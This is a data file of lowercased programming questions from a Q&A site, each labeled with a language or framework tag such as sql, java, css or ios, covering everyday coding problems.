do extra empty columns affect sql table size significantly   i have a few columns that i know won t be used initially. is it a good practice to add columns only when needed or just leave those extra columns there      is it just a little more space in the header or every row,sql
javascript: achieving private variables via return anonymous object  this sample achieves private variables of rectangle. the variables mylength and mywidth are different for different instances. so why is this not recommended approach    <pre><code>var rectangle = function() {     var mylength = 8;     var mywidth = 6;      var getmylength = function () {         return mylength;     };      var setmylength = function (value) {         mylength = value;     };      var getmywidth = function () {         return mywidth;     };      var setmywidth = function (value) {         mywidth = value;     };      var drawfigure = function() {         console.log( draw invoked for figure:   +             getmylength() +   *   + getmywidth());     };      return {         getmylength: getmylength          setmylength: setmylength          getmywidth: getmywidth          setmywidth: setmywidth          drawfigure: drawfigure     } }; </code></pre>   then we use it as follows:   <pre><code>var myrectangle = new rectangle();  myrectangle.drawfigure();           // draw invoked for figure: 8 * 6  myrectangle.setmylength(3);  myrectangle.setmywidth(5);  myrectangle.drawfigure();           // draw invoked for figure: 3 * 5  var myrectangle1 = new rectangle();  myrectangle1.drawfigure();          // draw invoked for figure: 8 * 6 </code></pre>,javascript
open custom keyboard on highlighting webview textfield  can i open custom keyboard instead of default keyboard.    i have an html file containing a textfield when i start typing default keyboard gets open.    i can change type of keyboard in html file but i dont want to change anything in html file .,iphone
is a watcher only created for the list items that are in the dom - angular  here is an app - a watcher counter. <a href= https://jsfiddle.net/0968p1ka/  rel= nofollow noreferrer >https://jsfiddle.net/0968p1ka/</a> in this app i am slicing top 2 of the list items and when i add more items to the underlaying data the watcher count stays the same. here is a part of the app:   <pre><code>   angular.element(  .ng-scope  ).each(                     function ngscopeiterator() {                         // get the scope associated with this element node.                         var scope = $( this ).scope();                         // the $$watchers value starts out as null.                         total += scope.$$watchers                               scope.$$watchers.length                             : 0                         ;                     }                 ); </code></pre>   is this somewhat correct implementation of watcher counter     my question is - are there only watchers for the real list items located in the dom or for every single item in the underlying array,angularjs
how to remove formatting in html table  (get only clear <tr>  <td> etc.)  i have a html tables pasted from ms word. i need to have only clear form of html table. no style  no formatting  no height  width etc. just &lt; table> &lt; tbody> &lt; tr> &lt; td> &lt; /td> &lt; /tr> &lt; /tbody> &lt; /table>.    does anybody knows some feature or some program  which can remove this formatting in all source code   number of pasted tables is high and every pasted table have another formatting.    thanks!    tables (for example) seems like this:   <pre><code>&lt;p&gt; &lt;table style= border-bottom: medium none; border-left: medium none; border-collapse: collapse; border-top: medium none; border-right: medium none  border= 1  cellspacing= 0  cellpadding= 0 &gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td style= border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; background-color: transparent; padding-left: 5.4pt; width: 105.25pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm  valign= top  width= 140 &gt;             &lt;div style= text-align: right; margin: 0cm 27.85pt 0pt 0cm  align= right &gt;&lt;em&gt;&lt;span style= letter-spacing: -0.05pt; color: black; font-size: 6pt &gt;a&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;             &lt;/td&gt;             &lt;td style= border-bottom: windowtext 1pt solid; border-left: #d4d0c8; padding-bottom: 0cm; background-color: transparent; padding-left: 5.4pt; width: 105.25pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm  valign= top  width= 140 &gt;             &lt;div style= text-align: right; margin: 0cm 27.85pt 0pt 0cm  align= right &gt;&lt;em&gt;&lt;span style= letter-spacing: -0.05pt; color: black; font-size: 6pt &gt;b&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; &lt;/p&gt; </code></pre>   the form i need is this:   <pre><code>&lt;table&gt;   &lt;tbody&gt;     &lt;tr&gt;       &lt;td&gt;a&lt;/td&gt;       &lt;td&gt;b&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt; &lt;/table&gt; </code></pre>,html
text different after changing application region for ios app  after changing the application region for my app to test currency formatting i noticed that the text of all labels/buttons have changed to capital letters. i first thought it might just be inherent to the region  but it has happened with multiple regions around europe. i am using system font for all labels/buttons. if anyone has any idea  please let me know!,ios
defining a class name money  i am stuck with the add/subtract methods for defining a class named money whose objects represent amounts of us money.  the class should have 2 instance variables of type int for the dollars and cents in the amount of money.  include a constructor with 2 parameters of type int for dollars and cents  one with one constructor of type int for an amount of dollars with zero cents and a no-argument constructor. include the methods add and minus for addition and subtraction of amounts of money  and return a value of type money.  include a reasonable set of accessor and mutator methods as well as the methods equals and tostring.      again  i am stuck on the add/minus part  just cannot nail it down.  plus the equals part is a bit confusing.  yes this is homework.  i am trying my best but need a bit of a push.      please take a look....   <pre><code>public class money {      private static  int dollars;     private static int cents;      public money()     {      }      public money(int dollars  int cents)     {         this.dollars = dollars;         this.cents = cents;     }      public money(int dollars)     {         this.dollars = dollars;     }        public int getdollars() {         return dollars;     }      public void setdollars(int dollars) {         this.dollars = dollars;     }      public int getcents() {         return cents;     }      public void setcents(int cents) {         this.cents = cents;     }       public static money add(money m1  money m2)     {         int cash = m1.dollars + m2.dollars;         int change = m1.cents + m2.cents;         return new money(dollars  cents);       }      public static int minusmoney(int m3  int m4)     {         return (m3-m4);     }     public boolean equals(double yourmoney)     {         boolean result;         if (yourmoney &gt; 0)         {             dollars += cents;             result = true;         }         else         {             result = false;         }         return result;       }      public string tostring()     {         return ( $  + getdollars() +  .  + getcents());     }      public static void main(string[] args)     {         money mymoney = new money(2 30);          system.out.println( you have   + mymoney.tostring());          money mymoney1 = new money(2 30);         money mymoney2 = new money(3 10);          system.out.println( you now have   + money.add(mymoney1  mymoney2));      }  } </code></pre>,java
c#: how to use custom autocomplete source for textbox  i would like to know how to make autocomplete source is choosed by the user  browse and load or import text file the text file is imported is arranged in order in reachtextbox or something.  if he wants edit to be comfortable and easy to use  even is that possible,c#
how do i cast a .net single to equivalent byte array that can be stored on the heap   how do i cast a .net single to equivalent byte array that can be stored on the heap     this is to be used as a glfloat,.net
css based gallery  i have found a cool css based gallery on <a href= http://www.cssplay.co.uk/menu/avatars2.html  rel= nofollow >http://www.cssplay.co.uk/menu/avatars2.html</a> and i have been trying to replicate the idea.i managed to replicate the layout but i am having trouble in replicating the effect (when you hover over any of the divs with the ids from one to nine in the center a image should appear). this is what i have so far (and yes i know i should have used an unordered list the idea hit me after i ve got this far so i didn t bother to change the divs) :   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;untitled document&lt;/title&gt; &lt;style type= text/css &gt;  #container{ margin:0 auto; width:830px; overflow:auto; background-color:black;  } #container &gt; div{ width:250px; height:250px; background-color:green; float:left;  margin:10px; } #center{ position:relative; }  img{ width:250px; height:250px; position:absolute;   }  &lt;/style&gt; &lt;/head&gt;  &lt;body&gt; &lt;div id= container &gt;    &lt;div id= unu &gt;&lt;/div&gt;    &lt;div id= doi &gt;&lt;/div&gt;    &lt;div id= trei &gt;&lt;/div&gt;    &lt;div id= patru &gt;&lt;/div&gt;    &lt;div id= center &gt;    &lt;img src= img/apple_1.jpg  alt= 1 /&gt;    &lt;img src= img/apple_2.jpg  alt= 2 /&gt;     &lt;img src= img/apple_3.jpg  alt= 3 /&gt;       &lt;img src= img/apple_4.jpg  alt= 4 /&gt;        &lt;img src= img/apple_5.jpg  alt= 5 /&gt;         &lt;img src= img/apple_6.jpg  alt= 6 /&gt;          &lt;img src= img/apple_7.jpg  alt= 7 /&gt;           &lt;img src= img/apple_8.jpg  alt= 8 /&gt;    &lt;/div&gt;    &lt;div id= sase &gt;&lt;/div&gt;    &lt;div id= sapte &gt;&lt;/div&gt;    &lt;div id= opt &gt;&lt;/div&gt;    &lt;div id= 9 &gt;&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
range slider in java  hi i was wondering if any has heard of a java component that provides a range slider. a slider  that is  with two knobs that define a range in the min max values rather than just one.    i found on the web a jrangeslider in the perfuse library but i have two issues with it.    first (and not that important) is that it has it s own visual style and does not change and blend in with the used look and feel.    second (and really important for my app) is that when you setenable(false) on it nothing happens!! you can still use the slider. the reason i want to disable it is that i have a new thread running at some point in my program that alters a value that the range slider also affects. i want to simply disable the slider while my thread is running and enable it after that.    any thoughts,java
how to place a div inside another div already rendered in html  i haven t found a good example or solution for this due to the nature of my question.    background:<br> i am building a wedding website that only allows me to use their templates (www.mywedding.com). it is a pretty good website and so far i think they have done a good job of allowing users to make a fairly customized site.  the issue is  my fiance and i are more creative than others. i have been able to insert some html tags like <code>&lt;img&gt;</code> and <code>&lt;a href&gt;</code> so that i could put links and more images than they allow but now my fiance wants me to put our trademark initials at the top of every page.    what i am trying to do:<br> the existing structure   <pre><code>&lt;body&gt;     &lt;div id= t-container &gt;         &lt;div id= t-header &gt;             &lt;h1&gt;&lt;span&gt;&lt;/span&gt;&lt;/h1&gt;             &lt;h2&gt;&lt;span&gt;&lt;/span&gt;&lt;/h2&gt;             &lt;div id= t_header_image &gt;                 &lt;img src= thesource  /&gt;             &lt;/div&gt;             &lt;!-- this is where i want to place my content --&gt;         &lt;div id= t-header &gt;         &lt;div id= t-center &gt;             &lt;div id= t-links &gt;                 &lt;!-- the navigation links on left side --&gt;             &lt;/div&gt;            &lt;div id= t-content &gt;                 &lt;!-- the content from their templates --&gt;                 &lt;div id= myimage &gt;                     &lt;!-- this is the content i want up top --&gt;                     &lt;img src= mysource  /&gt;                 &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt; </code></pre>    what i want to do is move my image (div or no div) into the header section.  thier site is written in php and my ui knoweldge is very limited. i am not sure if i can inject css or use jquery,html
counting forum topics and replies  i have 2 tables: posts and forum_topics. each post (a reply) is associated with another post (a forum topic  which is then associated with the forum_topics tables).     problem: i need to count all forum topics and replies in the posts table. this is what i have so far:   <pre><code>select forumtopic.id  forumtopic.title  forumtopic.modified  count(replyleftouterjoin.id) as replies_count from forum_topics as forumtopic left outer join posts as postleftouterjoin on postleftouterjoin.object_id = forumtopic.id     and postleftouterjoin.object_type =  forum_topic      and postleftouterjoin.status =  approved  left outer join posts as replyleftouterjoin on replyleftouterjoin.object_id = postleftouterjoin.id    and replyleftouterjoin.object_type =  post     and replyleftouterjoin.status =  approved  where forumtopic.forum_category_id =  some_id  </code></pre>   <strong>edit</strong>    currently i m only getting a count of all replies associated with a forum_topic (post) in the posts table. i would like to get a count of forum_topics in posts table associated with a forum topic in the forum_topics table.    <strong>nb</strong> fyi  a solution to this problem should use one query only.    here is the schema of the two tables:   <pre><code>drop table if exists `posts`; create table `posts` (   `id` bigint(20) unsigned not null auto_increment    `context_id` bigint(20) unsigned default null    `context_type` enum( resource   module   kwik   user   assignment ) collate utf8_unicode_ci default null    `is_private` tinyint(1) not null    `is_unread` tinyint(4) not null    `last_replied` datetime not null    `object_id` bigint(20) unsigned default null    `object_type` enum( forum_topic   forum   user   post ) collate utf8_unicode_ci default null    `status` enum( approved   unapproved   disabled ) collate utf8_unicode_ci not null    `post` text collate utf8_unicode_ci not null    `user_id` bigint(20) unsigned not null    `created` datetime not null    `modified` datetime not null    primary key (`id`) ) engine=innodb auto_increment=100 default charset=utf8 collate=utf8_unicode_ci;  drop table if exists `forum_topics`; create table `forum_topics` (   `id` bigint(20) unsigned not null auto_increment    `title` varchar(255) not null    `view_count` int(10) unsigned not null    `forum_category_id` bigint(20) unsigned not null    `created` datetime not null    `modified` datetime not null    primary key (`id`)  ) engine=innodb auto_increment=20 default charset=utf8 collate=utf8_unicode_ci; </code></pre>,sql
android app development error: unable to run on android app version error  i am running my app on my htc desire. the app runs fine on phone sometimes then it starts giving me error of  [2014-08-29 10:29:24 - testa] error: application requires api version 20. device api version is 15 (android 4.0.3). [2014-08-29 10:29:24 - testa] launch canceled!    even though a while i ran the same app on the same phone. the error goes away sometimes then come back. i also changed the phone to other android phone and same thing happens.,android
how to make div absorbing space  i have a rather trivial task. 3 divs with different backgrounds: 1st - top appendix  2nd - bottom appednix  and 3rd - repeating background. when i leaving content inside this 3 wrappers i ve spacers from top and bottom which i can t remove using negative margins. well  the css is:   <pre><code>.cblock {     background: url( top.png ) no-repeat center top;     padding-top: 16px; }  .cblock .inner1 {     background: url( bottom.png ) no-repeat center bottom;     padding-bottom: 130px; }  .cblock .inner2 {     background: url( bg.png ) repeat-y center;     min-height: 250px; }  .cblock .inner3 {     margin-bottom: -130px; } </code></pre>   html is:   <pre><code>    &lt;div class= cblock &gt;&lt;div class= inner1 &gt;&lt;div class= inner2 &gt;&lt;div class= inner3 &gt;         123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;123&lt;br&gt;     &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; </code></pre>   <a href= http://i.stack.imgur.com/sck8o.png  rel= nofollow >and results is</a>,css
get crash log when distributed app with enterprise license   is it possible get crash logs in xcode  crash analyses in itunesconnect when app is distributed with enterprice license  i know it is possible distributing with <code>app store</code> and <code>test flight</code> if user give permission to send diagnostic data.,ios
need to handle third parameter in javascript  so listing will be reflected accordingly  so i am developing spring mvc application  in which i need to show lot of data in list to end user. now  i also provided filters as you guys see in screenshot  the result is filtered corresponding to the value in filter.    <a href= https://i.stack.imgur.com/n1dqz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n1dqz.png  alt= enter image description here ></a>    i come to the problem. i have a list called  workorder service provider  where i showed workorder. the workorder option have three states  1.approved  2.rejected and  3.pending.    the entire list is coded in javascript  so for each option will work behind the scene and according to selected value it also changes ui of column as you can see in screenshot.    approved workoreder shows green approved label    <a href= https://i.stack.imgur.com/dbjdu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dbjdu.png  alt= approved workorder result ></a>    rejected workorder list shows red rejected label <a href= https://i.stack.imgur.com/mxabl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mxabl.png  alt= enter image description here ></a>    pending workored list also shows in red rejected label <a href= https://i.stack.imgur.com/np5cj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/np5cj.png  alt= enter image description here ></a> but i want to show these records in orange color with  pending  text. i am not able to figure out how to achieve it  because in javascript are only two values to handle. <strong>approvestatus==true</strong> so <strong>green label</strong> shows and if <strong><em>approvestatus==false</em></strong> so <strong>red label</strong> is showed    so please suggest to me an idea how to achieve this. i also provide you the js code snippet:   <pre><code>function getrecordlist() {      blockscreen();      noofrows = $( #page ).val();     $.ajax({         type:  post           url: baseurl +  search           data: {             referenceno: referenceno              freetext: freetext              noofrows: noofrows              startrecord: startrecord              maxrows: maxrows              wospid: wospid              approvestatus: approvestatus              orderby: orderby         }          success: function (data) {              if (parseint(maxrows) == 0) {                 setmaxrowsparam(data[0]);                 preparetaxlist(data[1])             } else {                 preparetaxlist(data[0])             }             if (data[1] == 0) {                 $( #norecords ).css( display    block );             }             unblockscreen();         }          fail: function (data) {             alert( failed to retrieve data );             unblockmyui();         }     }); }  function preparetaxlist(datalist) {     var j = 0;     var srno = startrecord + 1;     $( #workorderlistdata ).html(  );     var taxlisttable = document.getelementbyid( workorderlistdata );     if (datalist != null) {         for (i in datalist) {             var row = taxlisttable.insertrow(j++);             createrowfortaxlist(row  srno++  datalist[i])         }     }          function createrowfortaxlist(row  j  rowdata)         {     //first column     //second colum     //third clumn     //fourth column     //fifth column     //sixth column   var workorderstatus = row.insertcell(k++);     workorderstatus.setattribute( align    center );     if (rowdata.approvestatusstr ===  1 ) {         workorderstatus.innerhtml =  &lt;a href= javascript:updaterecord(\   + rowdata.wospidenc +  \    + rowdata.approvestatusstr +  ) &gt;&lt;div class= label label-secondary &gt;approved&lt;/div&gt;&lt;/a&gt; ;     } else if (rowdata.approvestatusstr ===  0 ) {         workorderstatus.innerhtml =  &lt;a href= javascript:updaterecord(\   + rowdata.wospidenc +  \    + rowdata.approvestatusstr +  ) &gt;&lt;div class= label label-danger  &gt;rejected&lt;/div&gt;&lt;/a&gt; ;     } else if (rowdata.approvestatusstr=== 2 ) {         workorderstatus.innerhtml =  &lt;a href= javascript:updaterecord(\   + rowdata.wospidenc +  \    + rowdata.approvestatusstr +  ) &gt;&lt;div class= label label-danger  &gt;pending&lt;/div&gt;&lt;/a&gt; ;     }             }               } </code></pre>   i tried to handle as undefined  but it does not work. please suggest me an idea  how to handle third parameter so my ui changes accordingly,javascript
css sprites - cross-browser rendering  i ve been learning about css sprites. i have been skeptical because cross-browser compatibility is a high priority for my site. don t css sprites cause problems with this considering they rely on positioning  ie6 is specifically a concern for me.    thank you!,css
simulating enter key java  i am trying to get input from the user without making the user press the enter key. the enter press is simulated after 2 seconds the user is prompted for input.   <pre><code>import java.util.timer; import java.util.timertask; import java.io.*; public class test {     private string str =   ;      timertask task = new timertask()     {         public void run()         {                 // code for simulateenterkeypress goes here         }     };      public void getinput() throws exception     {         timer timer = new timer();         timer.schedule( task  2000 );          system.out.println(  input a string within 2 seconds:   );         bufferedreader in = new bufferedreader(new inputstreamreader( system.in ));         str = in.readline();          timer.cancel();         system.out.println(  you have entered:  + str );     }      public static void main( string[] args )     {         try         {                 (new test()).getinput();         }         catch( exception e )         {                 system.out.println( e );         }     } } </code></pre>   how to simulate enter keypress in java      p.s. is there any other simple alternative method for above possible.,java
error line in console.error  i am trying to throw an error to the javascript console using <code>console.error()</code>  and i would like to set the line number so people can see where they went wrong. is this at all possible     thanks in advance     awesomeness01,javascript
most pythonic way to round a float after calculation  ultimately  i am trying to accomplish the calculation of a number that gives me back 3 decimal places  and round it to 2 decimal places. what i have  is thus:   <pre><code>total = 175  tax = .0875  total += total * tax  # giving me my desired total print total &gt;&gt;&gt; 190.3125  rounded = round(total  2)  # giving me my desired decimal place print rounded &gt;&gt;&gt; 190.31 </code></pre>   i was thinking of doing the <code>total</code> and <code>rounded</code> line in one  but it looks jumbled...    here is what i feel is the fastest way  but does not look as readable as i would like:   <pre><code>total = round((total + (total*tax))  2)  print total &gt;&gt;&gt; 190.31 </code></pre>   <strong>edit</strong>    thank you guys for the input in the comments. it seems time is clearly not something to stress here &amp; i am going to run with <code>rounded = round(total  2)</code> for my code. thanks again!,python
pre-fetching row counts before query - performance  i recently answered this question based on my experience:    <a href= https://stackoverflow.com/questions/11642975/counting-rows-before-proceeding-to-actual-searching/11643053#11643053 >counting rows before proceeding to actual searching</a>    but i m not 100% satisfied with the answer i gave.      the question is basically this: can i get a performance improvement by running a <code>count</code> over a particular query before deciding to run the query that brings back the actual rows     my intuition is this: you will only save the i/o and wire time associated with retrieving the data instead of the count because to count the data  you need to actually find the rows.  the possible exception to this is when the query is a simple function of the indexes.    my question then is this: is this always true  what other exception cases are there   from a pure performance perspective  in what cases would one want to do a <code>count</code> before running the full query,sql
how to play video from epub file   i want to create an epub reader with feature like play video and audio from my iphone app. one more thing i would like to say that it will not a web based applicaton. i mean to say that i dont want to use uiwebview. please any body help me thanx in adv.,ios
determine network speed with ios iphone app  i have an app that reports real time stream flow data via web service calls. each stream s data is obtained through a separate web service call. this app is intended for use in rural areas where fast connections aren t always possible. users can store favorites and we would like the favorites to have up to date data  however  in rural areas with poor internet connectivity this could be time consuming.    so  my question: is there anything within the ios sdk that allows one to determine if a connection is 3g  edge  etc.     thanks! v,ios
error: [ng:areq] argument  projectscontroller  is not a function  got undefined  why is my projectscontroller undefined  i get this error message from my browser console.    you can check that for yourself see this plunker:    <a href= http://plnkr.co/edit/0dj6w7qepx2uzpdzdrvu p=preview  rel= nofollow >http://plnkr.co/edit/0dj6w7qepx2uzpdzdrvu p=preview</a>   <pre><code> use strict ; angular   .module( projectplanner   [ ui.router ])   .config(function($stateprovider  $urlrouterprovider) {      $urlrouterprovider.otherwise( /projects );     $stateprovider       .state( projects   {          url:  /projects           views: {            menu : {             template:  start your projects!             }             content : {             templateurl:  projects.html               controller:  projectscontroller            }         }       })       .state( projects.selected   {         url:  /:projectid        })       .state( projects.selected.dates   {         url:  /dates/:date           views: {            menu : {             templateurl:  menu.html             }             content : {             templateurl:  dateplanner.html               controller:  dateplannercontroller            }         }       })   });     use strict ; angular.module( projectplanner ).controller( projectscontroller   function ($scope  $state) {   }); </code></pre>,angularjs
"unable to accessing array with jquery and display on table  trying to display the : name | industry | current price to the html table .    please review my code and help me display my data on html page .    am i missing something to not able to display on the html   is my way of accessing the array wrong       this is my <strong>test.js</strong> script  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).ready(function () {
 
        var test_data = [
                             {
                                current_price : 1626.0 
                                name :  hdfc bank  
                                industry :  financials  
                               
                             } 
                             {
                                current_price : 7064.8 
                                name :  maruti suzuki  
                                industry :  automobiles  
                             }
                         ];
 
        $.each( data  function( key  val ) {
          test_data +=  &lt;tr&gt;  ;
          test_data +=  &lt;td&gt; +val.name+ &lt;td&gt;  ;
          test_data +=  &lt;td&gt; +val.industry+ &lt;td&gt;  ;
          test_data +=  &lt;td&gt; +val.current_price+ &lt;td&gt;  ;
          s_data +=  &lt;/tr&gt;  ;
 
        });
 
        $( #test ).appendto(test_data);
 
 });
 
 
 
 
 below is my **html page** :</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 &lt;head&gt; 
 test
  
 &lt;/head&gt;
 &lt;body&gt;
 &lt;table class= table table-hover  id= test &gt;
   &lt;thead&gt;
     &lt;tr&gt;
       &lt;th&gt;company name&lt;/th&gt;
       &lt;th&gt;industry &lt;/th&gt;
       &lt;th&gt;current price&lt;/th&gt;
     &lt;/tr&gt;
   &lt;/thead&gt;
   &lt;tbody&gt;
 
   &lt;/tbody&gt;
 &lt;/table&gt;
 
 &lt;script src= js/jquery-3.2.1.min.js &gt;&lt;/script&gt;
 &lt;script src= js/bootstrap.min.js &gt;&lt;/script&gt;
 &lt;script src= js/test.js &gt;&lt;/script&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
using jquery .data() when creating dynamic html  most of the html in my web app is dynamically generated: i take an object and create a grid row for instance  something like this:   <pre><code>var thehtml = thehtml +  &lt;div class= hiddendiv &gt;  + someobject.id +  &lt;/div&gt; ; thehtml = thehtml + .... $( #sometablecontainer ).html(thehtml); </code></pre>   that way  when the user clicks on that row  i can access the id of the object represented on the row using <code>.find( .hiddendiv )</code>    how can i instead  use <code>.data()</code> to insert the id of the object to the row and later retrieve it without reading the id from the dom     thanks.,jquery
datapager with <a> on current page number instead of label  i have a datapager working fine except for one thing: the current page number is rendered with a label and i need it to be as innertext for an <code>&lt;a&gt;</code> tag.     is there a way to do this,asp.net
request for the permission of type  system.net.webpermission  system  version=2.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089  failed  when i create a web request in my class file and execute it then an error occured     request for the permission of type  system.net.webpermission  system  version=2.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089  failed    what can i do for this,asp.net
running failed in online compiler <pre><code>public class helloworld{           static {                 system.out.println( hello world );                 system.exit(0);          }  } </code></pre>   i tried to run this program on <a href= http://www.tutorialspoint.com/compile_java_online.php  rel= nofollow >http://www.tutorialspoint.com/compile_java_online.php</a>. but it is compiling fine but unable to get the output. its giving runtime error.,java
input custom value from parameters to rails sql query  i have written so code to query lists of users who go jogging at a certain time and in certain locations  but i am getting the following error: <code>activerecord::statementinvalid: sqlite3::sqlexception: near   jogging  </code>    does this mean i cannot write a string into that variable   are there any solutions to this    <pre><code>users = user.where( ids in (:user_ids)   user_ids:               activity.where( title :title and created_at &gt;= :created_at and location_id: location_id                 {title:  jogging   created_at: time.zone.now.beginning_of_day  location_id:               location.where( id in id   id: user.activities.where.not(location_id: nil)             .order( created_at desc ).first)})) </code></pre>,ruby-on-rails
how to redirect to denial access page when using role based access in asp.net   what are all the ways we can redirect to a page in case of denial of access based on roles     i can able to get the role based authorization working but i ended up the page redirected to login page always in case of no authorization for one particular role. please help   <pre><code>&lt;authentication mode= forms &gt;   &lt;forms name= .aspxauth  loginurl= ~/login.aspx      defaulturl= unauthorizedaccess.aspx   protection= all  path= /     requiressl= false     cookieless= useuri  domain=      enablecrossappredirects= false  slidingexpiration= true  timeout= 2880 &gt;&lt;/forms&gt; &lt;/authentication&gt; &lt;authorization&gt;   &lt;allow users= *  /&gt; &lt;/authorization&gt; </code></pre>      <pre><code>&lt;location path= abc.aspx &gt; &lt;system.web&gt;   &lt;authorization&gt;     &lt;allow users=   /&gt;   &lt;/authorization&gt; &lt;/system.web&gt; </code></pre>       i am not sure where i need to specify where to redirect in case of access denial. the default url i specified not seems to be working,asp.net
problem with selector in iphone   i am having a application where i am generating the uibuttons dynamically want to use same @selector...now as sooon as event is generated i wanna check for values and pass it to thtroughthat selector how can i  implement this code  can anyone tell me a tutorial sort where buttons are dynamically generated and check for particular button click is depicted  plz help...,iphone
gettings a list of values where id is the same as another column form another table  can anyone tell me what is wrong with this query     i have tried this query  it worked when not putting  where b.can_sell=1  but then it stopped working after putting that    <pre><code>select a.* from user_guns a inner join      craft_guns b      on a.gun_id=b.gun_id where b.can_sell = 1; </code></pre>   when i say stopped working  i mean it selects nothing when it should..,mysql
jquery callback html and json  i have some jquery which passes variables to a php file  the php file generates dynamic html content based on these variables to be passed back which i then use for updating the page.     however i also want to return some variables also so i can then decide how and where to display the html content.    the only way i have found so far seems a little crude and i m sure a better way exists.    at the moment the php file puts the generated content in a tag like so   <pre><code>&lt;content&gt;content here&lt;/content&gt; </code></pre>   then i use another tag for the var s i also want to return.   <pre><code>&lt;json&gt;{ name  :  value }&lt;/json&gt; </code></pre>   then i have this on the ajax callback   <pre><code>content = $(data).find( content ).html(); json = $(data).find( json ).text(); </code></pre>,jquery
single-row sub query returning more than row when creating for a view  i am working on a view that selects the following information.  the issue i am having is with the single row subquery is returning more than one row. however  i cannot see for myself what the issue is. any advice would be helpful       <pre><code>create or replace view eqx_dir_ind_rep_emp_v (person_id                                            supervisor_id                                            employee_name                                            supervisor_name                                          )  as     select     paf.person_id  paf.supervisor_id                (select full_name employee_name                  from per_people_f                     where person_id = paf.person_id                       and sysdate between effective_start_date and effective_end_date)                                                             employee_name                (select full_name supervisor_name                  from per_people_f                     where person_id = supervisor_id                       and sysdate between effective_start_date and effective_end_date)                                                           supervisor_name    from apps.per_all_assignments_f paf </code></pre>,sql
javascript passing two values using button  how do you pass two values using a button  my values are value=   data-value= cps210-compsci-i (4) .    <pre><code>&lt;button type= button  data-toggle= modal  data-target= #mymodal1  class= btn btn-warning btn-md  name= grade  value= &lt; php echo   $cs1  ;  &gt;  data-value= cps210-compsci-i (4) &gt;   &lt;span class= glyphicon glyphicon-education  &gt;&lt;/span&gt; grade &lt;/button&gt; &lt;script&gt;   $( button[name= grade ] ).click(function() {     var grade = $(this).val();     //var cs=$(this).     $( #grade ).html( &lt;h4&gt; grade recived   + grade +  &lt;/h4&gt; );     $( #cs ).html( &lt;h4&gt;  + cs +  &lt;/h4&gt; );   }); &lt;/script&gt; &lt;div class= modal-body &gt;   &lt;p id= grade &gt;&lt;/p&gt;   &lt;p id= cs &gt;&lt;/p&gt; &lt;/div&gt; </code></pre>,javascript
selecting multipal row in mysql  i have these table in my database:   <pre><code>id  name    order date 1   a       29-dec 2   b       15-dec 3   c       12-oct 4   a       15-dec 5   b       15-sep 6   a       15-sep 7   b       15-aug 8   c       15-aug 9   a       15-jul </code></pre>   expected output:-    <pre><code>name    qty     last order date a       4       29-dec b       3       15-dec c       2       12-oct </code></pre>   how to do this  please help.    also i have to select only those record whose last order date is greater than 10 days.     the purpose behind this query is to send such customer a notification who are not ordering since 10 days. how to do this  please help...,mysql
how do i return a part of text with a certain word in the middle   if this is the input string:   <blockquote>    $input =  in biology (botany)  a  fruit  is a part of a flowering   plant that derives from specific tissues of the flower  mainly one or   more ovaries. taken strictly  this definition excludes many structures   that are  fruits  in the common sense of the term  such as those   produced by non-flowering plants ;  </blockquote>   and now i want to perform a search on the word <em>tissues</em> and consequently return only a part of the string  defined by where the result is  like this:   <blockquote>    $output =  ... of a flowering plant that derives from specific <strong>tissues</strong> of the flower  mainly one or more ovaries ... ;  </blockquote>   the search term may be in the middle.    how do i perform the aforementioned,php
reverse a list of string without affecting numeric values  i have a list of strings.   <pre><code>arr = [ 17 -&gt; 16 -&gt; 1 -&gt; 8 -&gt; 0    5 -&gt; 2 -&gt; 3 -&gt; 6 -&gt; 0 ] </code></pre>   i want to reverse the string  for which i am using this code:   <pre><code>x = arr[::-1] x = x.replace( &gt;-    -&gt; ) x = x[5:] </code></pre>   but the output is:   <pre><code>arr = [ 0 -&gt; 8 -&gt; 1 -&gt; 61 -&gt; 71    0 -&gt; 6 -&gt; 3 -&gt; 2 -&gt; 5 ] </code></pre>   whereas  i need the output to be:   <pre><code>arr = [ 0 -&gt; 8 -&gt; 1 -&gt; 16 -&gt; 17    0 -&gt; 6 -&gt; 3 -&gt; 2 -&gt; 5 ] </code></pre>,python
hardware detail using java  i want to make a java application software which give the current status/information of the running computer. so  for this  is there any inbuilt/extrnal library present or not     can anyone give a simple code which will just.  what is the current status of laptop battery   or  is ac adapter is pluged in or not       please help me.,java
how to run ios app in background  i found that iphone apps do not run in the background except for certain cases like voip  music player and gps apps. i found <a href= http://itunes.apple.com/in/app/charge-alert-lite/id403024766 mt=8  rel= nofollow >this app</a> in the app store  it does not belong to any of these categories  runs in the background and provides sound alerts in the background.    how is this possible,ios
